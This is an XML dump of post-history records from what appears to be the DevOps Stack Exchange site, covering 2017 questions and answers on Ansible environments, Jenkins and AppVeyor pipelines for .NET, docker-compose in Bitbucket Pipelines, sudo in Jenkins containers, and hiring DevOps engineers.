[tag:Ansible].&#xD;&#xA;&#xD;&#xA;I understand there are a few technologies which seem to do a part of what could be required such as Consul but they seem to work best in an environment which serves one big application rather than lots of smaller slightly differing ones.&#xD;&#xA;&#xD;&#xA;I essentially see us having to write an inventory script and then just shove all of our data into some not-for-purpose built database and then keep going on as if nothing changed. I see this conceivably as a way to potentially trim down on a lot of the data we currently store and perhaps look into different ways of storing the data rather than just scaling up what serves it again.&#xD;&#xA;&#xD;&#xA;I'm hoping somebody has some kind of experience in implementing infrastructure as code when having to deal with lots of smaller environments as opposed to one, two or three huge ones.&#xD;&#xA;&#xD;&#xA;Any suggestions?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2505" PostHistoryTypeId="6" PostId="479" RevisionGUID="d21d8907-9e33-4f47-a48d-312cae43f266" CreationDate="2017-04-05T20:15:07.073" UserId="14" Comment="Backticks are not for emphasis, only code; [environment-variables] is more specific than [variables]" Text="&lt;ansible&gt;&lt;configuration&gt;&lt;databases&gt;&lt;provisioning&gt;&lt;environment-variables&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2506" PostHistoryTypeId="24" PostId="479" RevisionGUID="d21d8907-9e33-4f47-a48d-312cae43f266" CreationDate="2017-04-05T20:15:07.073" Comment="Proposed by 14 approved by 40, 46 edit id of 213" ContentLicense="CC BY-SA 3.0" />
  <row Id="2507" PostHistoryTypeId="2" PostId="793" RevisionGUID="83ecfd66-778f-428d-a546-8a3106f39a72" CreationDate="2017-04-05T21:56:48.817" UserId="1166" Text="The project:&#xD;&#xA;A .NET standalone application consisting in:&#xD;&#xA;&#xD;&#xA; - The main application that is a Windows Service containing a web server used for the web interface. Project is 90% .NET (Framework, Standard and Core) plus a few C++ libraries&#xD;&#xA; - Windows Agents that will be deployed naturally on Windows machines&#xD;&#xA; - ASP.NET Core Agents that will be deployed on Linux machines&#xD;&#xA; - WIX used for packing and creating the installer&#xD;&#xA;&#xD;&#xA;We don't have a dedicated and experienced Devops team member, but we currently have in place a sort of CI/CD pipeline in VSTS. Nothing fancy, just a bunch of build definitions that run the unit tests for every commit and nightly the integration and Selenium tests split into several builds across multiple VMs (due to MSTest parallelization at the assembly level in order to decrease the run time), and another one that is manually started to create the installer. &#xD;&#xA;&#xD;&#xA;In the near future we may need to switch Jenkins and after spending some time messing with builds in it I grew really fond of the Pipeline plugin (especially with the Blue Ocean one). On the other side, I discovered that if you're not developing in the Java world, you're kind of screwed with even the most basic tools required for .NET like MSBuild and MSTest or VSTest lacking Pipeline support.&#xD;&#xA;&#xD;&#xA;Only to be able to run the tests and display the results we had to do a bunch of steps, mostly consisting in batch scripts and add extra tools to be able to build, perform dotnet restore, nuget restore, run the tests, transform the `.trx` file into JUnit supported ones to be able to display them.&#xD;&#xA;&#xD;&#xA;Considering all the info above, I humbly ask the following:&#xD;&#xA;&#xD;&#xA; 1. What should an &quot;upgrade&quot; of the existing build system look like?&#xD;&#xA; 2. Are there any buried resources/guides/starting points in how we could make use easier of the Pipeline in the .NET world?&#xD;&#xA; 3. Anything else that I may be missing? " ContentLicense="CC BY-SA 3.0" />
  <row Id="2508" PostHistoryTypeId="1" PostId="793" RevisionGUID="83ecfd66-778f-428d-a546-8a3106f39a72" CreationDate="2017-04-05T21:56:48.817" UserId="1166" Text="Continuous Integraton using Jenkins Pipeline for a .NET project" ContentLicense="CC BY-SA 3.0" />
  <row Id="2509" PostHistoryTypeId="3" PostId="793" RevisionGUID="83ecfd66-778f-428d-a546-8a3106f39a72" CreationDate="2017-04-05T21:56:48.817" UserId="1166" Text="&lt;jenkins&gt;&lt;jenkins-plugins&gt;&lt;build-pipeline&gt;&lt;dotnet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2510" PostHistoryTypeId="5" PostId="792" RevisionGUID="581243db-6f4a-4d42-a3c6-196728b25348" CreationDate="2017-04-05T22:17:29.943" UserId="47" Comment="inserted tag reference" Text="Experience at my place has been using Octopus Deploy, [tag:teamcity] and Proget - had great success building a good pipeline and its scaling well. Also plays nicely with unit testing and automated functional test tools. We are predominantly in Azure on .Net but also deploying to private cloud and on premise" ContentLicense="CC BY-SA 3.0" />
  <row Id="2511" PostHistoryTypeId="5" PostId="793" RevisionGUID="3a75b2be-1b11-4802-95dd-60fe1a5c5c05" CreationDate="2017-04-05T22:32:32.967" UserId="47" Comment="added 3 characters in body" Text="The project:&#xD;&#xA;A .NET standalone application consisting in:&#xD;&#xA;&#xD;&#xA; - The main application that is a Windows Service containing a web server used for the web interface. Project is 90% .NET (Framework, Standard and Core) plus a few C++ libraries&#xD;&#xA; - Windows Agents that will be deployed naturally on Windows machines&#xD;&#xA; - ASP.NET Core Agents that will be deployed on Linux machines&#xD;&#xA; - WIX used for packing and creating the installer&#xD;&#xA;&#xD;&#xA;We don't have a dedicated and experienced Devops team member, but we currently have in place a sort of CI/CD pipeline in VSTS. Nothing fancy, just a bunch of build definitions that run the unit tests for every commit and nightly the integration and Selenium tests split into several builds across multiple VMs (due to MSTest parallelization at the assembly level in order to decrease the run time), and another one that is manually started to create the installer. &#xD;&#xA;&#xD;&#xA;In the near future we may need to switch to Jenkins and after spending some time messing with builds in it I grew really fond of the Pipeline plugin (especially with the Blue Ocean one). On the other side, I discovered that if you're not developing in the Java world, you're kind of screwed with even the most basic tools required for .NET like MSBuild and MSTest or VSTest lacking Pipeline support.&#xD;&#xA;&#xD;&#xA;Only to be able to run the tests and display the results we had to do a bunch of steps, mostly consisting in batch scripts and add extra tools to be able to build, perform dotnet restore, nuget restore, run the tests, transform the `.trx` file into JUnit supported ones to be able to display them.&#xD;&#xA;&#xD;&#xA;Considering all the info above, I humbly ask the following:&#xD;&#xA;&#xD;&#xA; 1. What should an &quot;upgrade&quot; of the existing build system look like?&#xD;&#xA; 2. Are there any buried resources/guides/starting points in how we could make use easier of the Pipeline in the .NET world?&#xD;&#xA; 3. Anything else that I may be missing? " ContentLicense="CC BY-SA 3.0" />
  <row Id="2512" PostHistoryTypeId="2" PostId="794" RevisionGUID="8f99a251-d622-4060-ac84-529d80a95e3a" CreationDate="2017-04-06T05:13:46.063" UserId="228" Text="If your environments are per customer, I would suggest *in your specific case* to have a **repository per customer**. (In general it is repository per environment.) This repository would have a standard directory structure for environment variables, ansible variables and inventories, secrets (account access tokens, private keys, etc.).  You would git submodule the code into those repositories. I would probably do it in multiple repositories. One for ansible roles and modules, one for maintenance and deployment scripts, one for each major application running in the environments.&#xD;&#xA;&#xD;&#xA;Now you can optionally actually fork the code or otherwise pin the submodule at specific tag for **release**, making sure that the code managing the customer's environment would not change unless tested and released.&#xD;&#xA;&#xD;&#xA;If you are using an **artifact repository**, make sure the artifacts are properly versioned and those versions are specified in the environment variables properly.&#xD;&#xA;&#xD;&#xA;**Automation** is important because the environment variables should not be updated by humans where possible, but generated by scripts. Make sure that there are nearly no manual updates in the per customer inventory and developers only update the code repositories. If they want to make configuration change, it should be done to one of the generating scripts, which is then run to generate the variables and the diff is committed into the customer repository. It pays to setup continuous integration for this process. Without this at some point there will be too many repositories to **maintain**." ContentLicense="CC BY-SA 3.0" />
  <row Id="2513" PostHistoryTypeId="5" PostId="783" RevisionGUID="bd926cb9-4e6f-431e-b190-3adac51fcb63" CreationDate="2017-04-06T07:34:35.917" UserId="210" Comment="hyperlink created" Text="At the moment the `docker login` and `docker push` commands are only available to Pipelines Alpha members.&#xD;&#xA;&#xD;&#xA;You can read about the features available to Alpha [here][1].&#xD;&#xA;&#xD;&#xA;In order to participate, the above link includes instructions on how you can opt-in to the added functionality.&#xD;&#xA;&#xD;&#xA;Personally I received an e-mail from Atlassian a day after signing up saying my projects now include Alpha features. So this feature works in my pipelines without any issues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.atlassian.com/bitbucket/pipelines-alpha-877358733.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2514" PostHistoryTypeId="24" PostId="783" RevisionGUID="bd926cb9-4e6f-431e-b190-3adac51fcb63" CreationDate="2017-04-06T07:34:35.917" Comment="Proposed by 210 approved by -1 edit id of 214" ContentLicense="CC BY-SA 3.0" />
  <row Id="2515" PostHistoryTypeId="5" PostId="783" RevisionGUID="f6fa660d-ec87-4500-98ad-ae9c72f7a3ad" CreationDate="2017-04-06T07:34:35.917" UserId="40" Comment="hyperlink created" Text="At the moment the `docker login` and `docker push` commands are only available to Pipelines Alpha members.&#xD;&#xA;&#xD;&#xA;You can read about the features available to Alpha at &quot;[Pipelines Alpha][1]&quot;.&#xD;&#xA;&#xD;&#xA;In order to participate, the above link includes instructions on how you can opt-in to the added functionality.&#xD;&#xA;&#xD;&#xA;Personally I received an e-mail from Atlassian a day after signing up saying my projects now include Alpha features. So this feature works in my pipelines without any issues.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://confluence.atlassian.com/bitbucket/pipelines-alpha-877358733.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2516" PostHistoryTypeId="2" PostId="795" RevisionGUID="96fde38f-3a70-441a-ae62-3082de0a1b1f" CreationDate="2017-04-06T08:12:18.467" UserId="210" Text="**Aim**&#xD;&#xA;&#xD;&#xA;The aim is to run docker-compose in BitBucket pipelines&#xD;&#xA;&#xD;&#xA;**Attempt**&#xD;&#xA;&#xD;&#xA;*bitbucket-pipelines.yml*&#xD;&#xA;&#xD;&#xA;    image: docker/compose:1.12.0&#xD;&#xA;    &#xD;&#xA;    pipelines:&#xD;&#xA;      default:&#xD;&#xA;        - step:&#xD;&#xA;            script:&#xD;&#xA;              - docker-compose up --build&#xD;&#xA;&#xD;&#xA;**Outcome**&#xD;&#xA;&#xD;&#xA;    The Docker Engine version is less than the minimum required by Compose.&#xD;&#xA;    Your current project requires a Docker Engine of version 1.13.0 or greater.&#xD;&#xA;&#xD;&#xA;**Discussion**&#xD;&#xA;&#xD;&#xA;According to [this][1] post it is not supported?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://community.atlassian.com/t5/Bitbucket-questions/Docker-compose-and-pipelines/qaq-p/67913" ContentLicense="CC BY-SA 3.0" />
  <row Id="2517" PostHistoryTypeId="1" PostId="795" RevisionGUID="96fde38f-3a70-441a-ae62-3082de0a1b1f" CreationDate="2017-04-06T08:12:18.467" UserId="210" Text="Is running docker-compose not supported in BitBucket?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2518" PostHistoryTypeId="3" PostId="795" RevisionGUID="96fde38f-3a70-441a-ae62-3082de0a1b1f" CreationDate="2017-04-06T08:12:18.467" UserId="210" Text="&lt;bitbucket&gt;&lt;docker-compose&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2519" PostHistoryTypeId="5" PostId="764" RevisionGUID="386372bf-1882-41a5-8fde-77594a467412" CreationDate="2017-04-06T08:17:25.610" UserId="13" Comment="Large reformat of the question to get it more straight to the point. Feel free to rollback if you think it doesn't match properly your problem" Text="I'm trying to get a new jenkins pipeline together to test new pull requests to our code. I'm using docker with the `ubuntu:14.04` image to simulate our production environment.&#xD;&#xA;&#xD;&#xA;Here is a minimum working example: &#xD;&#xA;&#xD;&#xA;    #jenkinsfile&#xD;&#xA;    stage('Checkout and provision'){&#xD;&#xA;    docker.image('ubuntu:14.04').withRun('-u root'){&#xD;&#xA;        checkout scm&#xD;&#xA;        sh 'chmod -R 770 ./'&#xD;&#xA;        sh './init-script.sh'&#xD;&#xA;        }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;and&#xD;&#xA;&#xD;&#xA;     #init-script.sh&#xD;&#xA;     sudo add-apt-repository ppa:ondrej/php&#xD;&#xA;     sudo apt-get update -y&#xD;&#xA;     sudo apt-get dist-upgrade -y&#xD;&#xA;     sudo apt-get install \&#xD;&#xA;        apache2 \&#xD;&#xA;        php \&#xD;&#xA;        php-mysql \&#xD;&#xA;        php-xml \&#xD;&#xA;        libapache2-mod-auth-mysql \&#xD;&#xA;        libapache2-mod-php \&#xD;&#xA;        php5-curl \&#xD;&#xA;        zip \&#xD;&#xA;        htop \&#xD;&#xA;        supervisor \&#xD;&#xA;        mailutils \&#xD;&#xA;        git \&#xD;&#xA;        build-essential -y&#xD;&#xA;     sudo apt-get autoremove -y&#xD;&#xA;&#xD;&#xA;And the `/etc/sudoers` file for the container is as follow:&#xD;&#xA;&#xD;&#xA;    #&#xD;&#xA;    # This file MUST be edited with the 'visudo' command as root.&#xD;&#xA;    #&#xD;&#xA;    # Please consider adding local content in /etc/sudoers.d/ instead of&#xD;&#xA;    # directly modifying this file.&#xD;&#xA;    #&#xD;&#xA;    # See the man page for details on how to write a sudoers file.&#xD;&#xA;    #&#xD;&#xA;    Defaults        env_reset&#xD;&#xA;    Defaults        mail_badpass&#xD;&#xA;    Defaults        secure_path=&quot;/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin&quot;&#xD;&#xA;    Defaults:jenkins !requiretty&#xD;&#xA;    &#xD;&#xA;    # User alias specification&#xD;&#xA;    &#xD;&#xA;    # Cmnd alias specification&#xD;&#xA;    &#xD;&#xA;    # User privilege specification&#xD;&#xA;    root    ALL=(ALL:ALL) ALL&#xD;&#xA;    &#xD;&#xA;    # Members of the admin group may gain root privileges&#xD;&#xA;    %admin ALL=(ALL) ALL&#xD;&#xA;    &#xD;&#xA;    # Allow members of group sudo to execute any command&#xD;&#xA;    %sudo   ALL=(ALL:ALL) ALL&#xD;&#xA;    &#xD;&#xA;    # See sudoers(5) for more information on &quot;#include&quot; directives:&#xD;&#xA;    &#xD;&#xA;    #includedir /etc/sudoers.d&#xD;&#xA;    &#xD;&#xA;    jenkins ALL=(ALL:ALL) NOPASSWD:ALL&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The problem I'm having is that docker is not running as root as I'm used to and instead retaining the user id of the jenkins user from the host machine. This makes it difficult to sudo. &#xD;&#xA;&#xD;&#xA;I've tried adding the jenkins user to the containers `/etc/passwd` file and running `chmod` against that file but don't even have the permissions to do either of these from the `jenkinsfile`. &#xD;&#xA;&#xD;&#xA;With this configuration I should be the root user. However, I either see `Error: must run as root` if I don't use `sudo` or sudo: `no tty present and no askpass program specified` if I do.&#xD;&#xA;&#xD;&#xA;Is there a correct way to deal with this situation? Ideally from the `jenkinsfile`; I'd like to avoid creating an additional `Dockerfile` if possible as this will be a further differentiator between testing and production. &#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2520" PostHistoryTypeId="2" PostId="796" RevisionGUID="ed094f1e-18e0-4a39-a5f2-b7c997f1688f" CreationDate="2017-04-06T09:23:37.683" UserId="397" Text="For my clients who use the Microsoft Stack and have fewer than four teams, I have been recommending the use of [AppVeyor][1] it is highly tuned for the .NET Stack and integrated very naturally with `msbuild` and Wix.&#xD;&#xA;&#xD;&#xA;There are two ways of configuring AppVeyor, either through the [web-based user interface][2] or via the [`appveyor.yml` file][3] checked into the root of the git repository.  I would strongly recommend the latter, you are welcome to start from this template:&#xD;&#xA;&#xD;&#xA;    version: 3.0.{build}&#xD;&#xA;&#xD;&#xA;    build:&#xD;&#xA;      parallel: true&#xD;&#xA;      project: EVEMon.sln&#xD;&#xA;&#xD;&#xA;    cache:&#xD;&#xA;      - packages -&gt; **\packages.config&#xD;&#xA;&#xD;&#xA;    install:&#xD;&#xA;      - nuget restore&#xD;&#xA;&#xD;&#xA;The major drawback of AppVeyor and it's cousins [TravisCI][4] and [CircleCI][5] is they don't play particularly nicely with on-premise source code management solutions, you do really need to be using GitHub or BitBucket.&#xD;&#xA;&#xD;&#xA;  [1]: https://www.appveyor.com/&#xD;&#xA;  [2]: https://ci.appveyor.com&#xD;&#xA;  [3]: https://www.appveyor.com/docs/appveyor-yml/&#xD;&#xA;  [4]: https://travis-ci.org/&#xD;&#xA;  [5]: https://circleci.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2521" PostHistoryTypeId="5" PostId="796" RevisionGUID="f80f36b9-aeac-4dcd-b630-a092e773dffa" CreationDate="2017-04-06T09:34:09.860" UserId="397" Comment="added 69 characters in body" Text="For my clients who use the Microsoft Stack and have fewer than four teams, I have been recommending the use of [AppVeyor][1] it is highly tuned for the .NET Stack and integrated very naturally with `msbuild` and Wix.&#xD;&#xA;&#xD;&#xA;[![AppVeyor][2]][2]&#xD;&#xA;&#xD;&#xA;There are two ways of configuring AppVeyor, either through the [web-based user interface][3] or via the [`appveyor.yml` file][4] checked into the root of the git repository.  I would strongly recommend the latter, you are welcome to start from this template:&#xD;&#xA;&#xD;&#xA;    version: 3.0.{build}&#xD;&#xA;&#xD;&#xA;    build:&#xD;&#xA;      parallel: true&#xD;&#xA;      project: EVEMon.sln&#xD;&#xA;&#xD;&#xA;    cache:&#xD;&#xA;      - packages -&gt; **\packages.config&#xD;&#xA;&#xD;&#xA;    install:&#xD;&#xA;      - nuget restore&#xD;&#xA;&#xD;&#xA;The major drawback of AppVeyor and it's cousins [TravisCI][5] and [CircleCI][6] is they don't play particularly nicely with on-premise source code management solutions, you do really need to be using GitHub or BitBucket.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.appveyor.com/&#xD;&#xA;  [2]: https://i.stack.imgur.com/96imo.png&#xD;&#xA;  [3]: https://ci.appveyor.com&#xD;&#xA;  [4]: https://www.appveyor.com/docs/appveyor-yml/&#xD;&#xA;  [5]: https://travis-ci.org/&#xD;&#xA;  [6]: https://circleci.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2522" PostHistoryTypeId="2" PostId="797" RevisionGUID="0c242d0c-062b-4365-922a-7544c2f7c98b" CreationDate="2017-04-06T10:11:27.370" UserId="14" Text="The idea of having a [DevOps Engineer](http://insights.dice.com/2014/10/30/sample-job-description-devops-engineer/) has become [quite popular recently](https://trends.google.co.uk/trends/explore?q=devops%20engineer), and it seems appealing to just have a person who can slot in and provide many of the benefits of DevOps, [as described in the Puppet blog](https://puppet.com/blog/what-a-devops-engineer):&#xD;&#xA;&#xD;&#xA;&gt; Organizations using DevOps practices are overwhelmingly high-functioning: They deploy code up to 30 times more frequently than their competitors, and 50 percent fewer of their deployments fail, according to our 2015 State of DevOps report.&#xD;&#xA;&#xD;&#xA;However, I've noticed a lot of vocal opposition to the idea of a DevOps Engineer to try and make these improvements:&#xD;&#xA;&#xD;&#xA;&gt; Even with broad agreement about core DevOps attributes, controversy surrounds the term “DevOps engineer.” Some say the term itself contradicts DevOps values. Jez Humble, the co-author of Continuous Delivery, points out that just calling someone a DevOps engineer can create a third silo in addition to dev and ops — &quot;...clearly a poor (and ironic) way to try and solve these problems.&quot;&#xD;&#xA;&#xD;&#xA;Why might it not be such a great idea for a business to hire a DevOps Engineer to try and 'implement DevOps', as opposed to the organisational change advocated by [blogs like this](https://devops.com/enterprise-devops-happening-without-organizational-change/)? Will the benefits be negated by just having an isolated DevOps role?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2523" PostHistoryTypeId="1" PostId="797" RevisionGUID="0c242d0c-062b-4365-922a-7544c2f7c98b" CreationDate="2017-04-06T10:11:27.370" UserId="14" Text="Why shouldn't I try to hire a 'DevOps Engineer'?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2524" PostHistoryTypeId="3" PostId="797" RevisionGUID="0c242d0c-062b-4365-922a-7544c2f7c98b" CreationDate="2017-04-06T10:11:27.370" UserId="14" Text="&lt;terminology&gt;&lt;culture&gt;&lt;job-role&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2525" PostHistoryTypeId="2" PostId="798" RevisionGUID="b95397e4-d338-4278-a98e-488c2676ce9a" CreationDate="2017-04-06T11:16:51.390" UserId="1173" Text="We capture our applications release by using commits from source code management, new package into the artifactory system etc.,&#xD;&#xA;&#xD;&#xA;How can we capture my tools release from vendor so that I will trigger my upgrade script to upgrade my tools itself, for ex: upgrading Jenkins whenever new release available from Jenkins itself?&#xD;&#xA;&#xD;&#xA;Hope my requirement is clear." ContentLicense="CC BY-SA 3.0" />
  <row Id="2526" PostHistoryTypeId="1" PostId="798" RevisionGUID="b95397e4-d338-4278-a98e-488c2676ce9a" CreationDate="2017-04-06T11:16:51.390" UserId="1173" Text="How to capture tools release to trigger upgrade?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2527" PostHistoryTypeId="3" PostId="798" RevisionGUID="b95397e4-d338-4278-a98e-488c2676ce9a" CreationDate="2017-04-06T11:16:51.390" UserId="1173" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;continuous-delivery&gt;&lt;continuous-deployment&gt;&lt;upgrade&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2528" PostHistoryTypeId="5" PostId="798" RevisionGUID="0ec95a24-03ce-4acf-a43c-30eb8b6797b5" CreationDate="2017-04-06T11:31:56.283" UserId="1173" Comment="added 231 characters in body" Text="We capture our applications release by using commits from source code management, new package into the artifactory system etc.,&#xD;&#xA;&#xD;&#xA;How can we capture my tools release from vendor so that I will trigger my upgrade script to upgrade my tools itself, for ex: upgrading Jenkins whenever new release available from Jenkins itself?&#xD;&#xA;&#xA;List of tools am expecting to upgrade:&#xA;1. Jenkins&#xA;2. GitHub Enterprise&#xA;3. Atlassian Jira&#xA;4. Atlassian Bamboo&#xA;5. Atlassian BitBucket Server&#xA;&#xA;Basically, continuous deployment to production without human interaction for these tools.&#xA;&#xD;&#xA;Hope my requirement is clear." ContentLicense="CC BY-SA 3.0" />
  <row Id="2529" PostHistoryTypeId="5" PostId="798" RevisionGUID="6ba11667-eef4-4d42-ae7f-a54d2ae01cce" CreationDate="2017-04-06T11:41:11.603" UserId="1173" Comment="added 31 characters in body" Text="We capture our applications release by using commits from source code management, new package into the artifactory system etc.,&#xD;&#xA;&#xD;&#xA;How can we capture my tools release from vendor so that I will trigger my upgrade script to upgrade my tools itself, for ex: upgrading Jenkins whenever new release available from Jenkins itself?&#xD;&#xA;&#xD;&#xA;List of tools am expecting to upgrade:&#xD;&#xA;&#xD;&#xA;    1. Jenkins&#xD;&#xA;    2. GitHub Enterprise&#xD;&#xA;    3. Atlassian Jira&#xD;&#xA;    4. Atlassian Bamboo&#xD;&#xA;    5. Atlassian BitBucket Server&#xD;&#xA;&#xD;&#xA;Basically, continuous deployment to production without human interaction for these tools.&#xD;&#xA;&#xD;&#xA;Hope my requirement is clear." ContentLicense="CC BY-SA 3.0" />
  <row Id="2530" PostHistoryTypeId="2" PostId="799" RevisionGUID="060680f4-1b71-42ad-a7ad-90719dc71d06" CreationDate="2017-04-06T11:46:58.753" UserId="13" Text="From your list of tools:&#xD;&#xA;&#xD;&#xA;Jenkins and Github have apt/yum repositories you can use to install and upgrade. &#xD;&#xA;&#xD;&#xA;For Atlassian products, best up to date information about repositories I can found is [This ShipIt experiment](https://confluence.atlassian.com/display/DEV/ShipIt+8+-+Debian+Package+for+JIRA) and it seems unlikely to change from [this forum post](https://community.atlassian.com/t5/Bitbucket-questions/Is-it-possible-to-install-Bitbucket-with-apt-get/qaq-p/300619)&#xD;&#xA;&#xD;&#xA;But:&#xD;&#xA;&#xD;&#xA;&gt; Basically, continuous deployment to production without human&#xD;&#xA;&gt; interaction for these tools.&#xD;&#xA;&#xD;&#xA;You should **NOT**, this is likely to break your workflow and eventually corrupt your datas and repositories, an update to critical systems must have to be controlled to avoid breaking something for hours or days.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Now if you really want something automated to handle the installation and configuration of your tools, you can try a Configuration Management System like Chef/Puppet/Ansible/Salt.&#xD;&#xA;&#xD;&#xA;For Chef I know better, there's cookbooks for Jira and Confluence maintained.  &#xD;&#xA;For the rest you'll be on your own writing the bits to deploy and configure." ContentLicense="CC BY-SA 3.0" />
  <row Id="2531" PostHistoryTypeId="5" PostId="799" RevisionGUID="6bb649b1-27fc-4647-9975-69504b05318e" CreationDate="2017-04-06T11:55:37.353" UserId="13" Comment="added 17 characters in body" Text="From your list of tools:&#xD;&#xA;&#xD;&#xA;Jenkins and Github have apt/yum repositories you can use to install and upgrade. &#xD;&#xA;&#xD;&#xA;For Atlassian products, best up to date information about repositories I can found is [This ShipIt experiment](https://confluence.atlassian.com/display/DEV/ShipIt+8+-+Debian+Package+for+JIRA) and it seems unlikely to change from [this forum post](https://community.atlassian.com/t5/Bitbucket-questions/Is-it-possible-to-install-Bitbucket-with-apt-get/qaq-p/300619)&#xD;&#xA;&#xD;&#xA;But:&#xD;&#xA;&#xD;&#xA;&gt; Basically, continuous deployment to production without human&#xD;&#xA;&gt; interaction for these tools.&#xD;&#xA;&#xD;&#xA;You should **NOT**, this is likely to break your workflow and eventually corrupt your datas and repositories, an update to critical systems like CI/CD support must have to be controlled to avoid breaking something for hours or days.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;Now if you really want something automated to handle the installation and configuration of your tools, you can try a Configuration Management System like Chef/Puppet/Ansible/Salt.&#xD;&#xA;&#xD;&#xA;For Chef I know better, there's cookbooks for Jira and Confluence maintained.  &#xD;&#xA;For the rest you'll be on your own writing the bits to deploy and configure." ContentLicense="CC BY-SA 3.0" />
  <row Id="2532" PostHistoryTypeId="5" PostId="794" RevisionGUID="9cc3b532-9464-4923-9896-791d116b8971" CreationDate="2017-04-06T11:58:39.237" UserId="228" Comment="added 19 characters in body" Text="If your environments are per customer, I would suggest *in your specific case* to have a **repository per customer**. (In general it is repository per environment.) This repository would have a standard directory structure for environment variables, ansible variables and inventories, strongly encrypted secrets (account access tokens, private keys, etc.).  You would git submodule the code into those repositories. I would probably do it in multiple repositories. One for ansible roles and modules, one for maintenance and deployment scripts, one for each major application running in the environments.&#xD;&#xA;&#xD;&#xA;Now you can optionally actually fork the code or otherwise pin the submodule at specific tag for **release**, making sure that the code managing the customer's environment would not change unless tested and released.&#xD;&#xA;&#xD;&#xA;If you are using an **artifact repository**, make sure the artifacts are properly versioned and those versions are specified in the environment variables properly.&#xD;&#xA;&#xD;&#xA;**Automation** is important because the environment variables should not be updated by humans where possible, but generated by scripts. Make sure that there are nearly no manual updates in the per customer inventory and developers only update the code repositories. If they want to make configuration change, it should be done to one of the generating scripts, which is then run to generate the variables and the diff is committed into the customer repository. It pays to setup continuous integration for this process. Without this at some point there will be too many repositories to **maintain**." ContentLicense="CC BY-SA 3.0" />
  <row Id="2533" PostHistoryTypeId="2" PostId="800" RevisionGUID="68b480a2-c374-467b-a296-3e82c1263ac9" CreationDate="2017-04-06T12:43:38.413" UserId="397" Text="Somewhat stealing from [Ian Margett's][1] [answer][2] as the architecture is common amongst most Microsoft/.NET development organizations, the high-level target operating model for looks something like this:&#xD;&#xA;&#xD;&#xA;[![.NET Target Operating Model][3]][3]&#xD;&#xA;&#xD;&#xA;The goal is to create a Continuous Deployment pipeline, using existing off-the-shelf software, namely [TeamCity][4], [ProGet][5], [SonarQube][6] and [Octopus Deploy][7]:&#xD;&#xA;&#xD;&#xA; - **GitHub** is the source code management tool, however, it could be BitBucket or Visual Studio Team Services.  The branching model and code review process are out of scope at this high level.&#xD;&#xA; - **TeamCity** is chosen as the Build System due to its tight integration with Octopus Deploy and good all-round support for .NET, msbuild and PowerShell.  TeamCity is also used as the orchestrator of deployments in Octopus Deploy.&#xD;&#xA; - **ProGet** is the package management solution which both stores Octopus Packages and proxies public package/image repositories.  The rationale for not using the built-in TeamCity NuGet store is purely for scalability reasons.&#xD;&#xA; - **SonarQube** provides continuous code quality management and reports are published as part of the TeamCity build outputs.&#xD;&#xA; - **Octopus Deploy** is used as the deployment tool for both infrastructure and code into the target platforms.&#xD;&#xA;&#xD;&#xA;I've seen this broad approach implemented across two companies and successfully implemented it in two additional companies - in the most recent case we swapped TeamCity out for AppVeyor which worked, albeit a little painful when setting up firewall rules.&#xD;&#xA;&#xD;&#xA;  [1]: http://devops.stackexchange.com/users/1163/ian-margetts&#xD;&#xA;  [2]: http://devops.stackexchange.com/a/792/397&#xD;&#xA;  [3]: https://i.stack.imgur.com/rT3rA.png&#xD;&#xA;  [4]: https://www.jetbrains.com/teamcity/&#xD;&#xA;  [5]: https://inedo.com/proget&#xD;&#xA;  [6]: https://www.sonarqube.org/&#xD;&#xA;  [7]: https://octopus.com/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2534" PostHistoryTypeId="5" PostId="798" RevisionGUID="3b41c3ce-c252-46a9-bb31-2a3269eefa58" CreationDate="2017-04-06T13:19:14.527" UserId="1173" Comment="added 40 characters in body" Text="We capture our applications release by using commits from source code management, new package into the artifactory system etc.,&#xD;&#xA;&#xD;&#xA;How can we capture my tools release from vendor so that I will trigger my upgrade script to upgrade my tools itself, for ex: upgrading Jenkins whenever new release available from Jenkins itself?&#xD;&#xA;&#xD;&#xA;List of tools am expecting to upgrade:&#xD;&#xA;&#xD;&#xA;    1. Jenkins&#xD;&#xA;    2. GitHub Enterprise&#xD;&#xA;    3. Atlassian Jira&#xD;&#xA;    4. Atlassian Bamboo&#xD;&#xA;    5. Atlassian BitBucket Server&#xD;&#xA;&#xD;&#xA;Basically, continuous deployment(with proper pipeline including testing) to production without human interaction for these tools.&#xD;&#xA;&#xD;&#xA;Hope my requirement is clear." ContentLicense="CC BY-SA 3.0" />
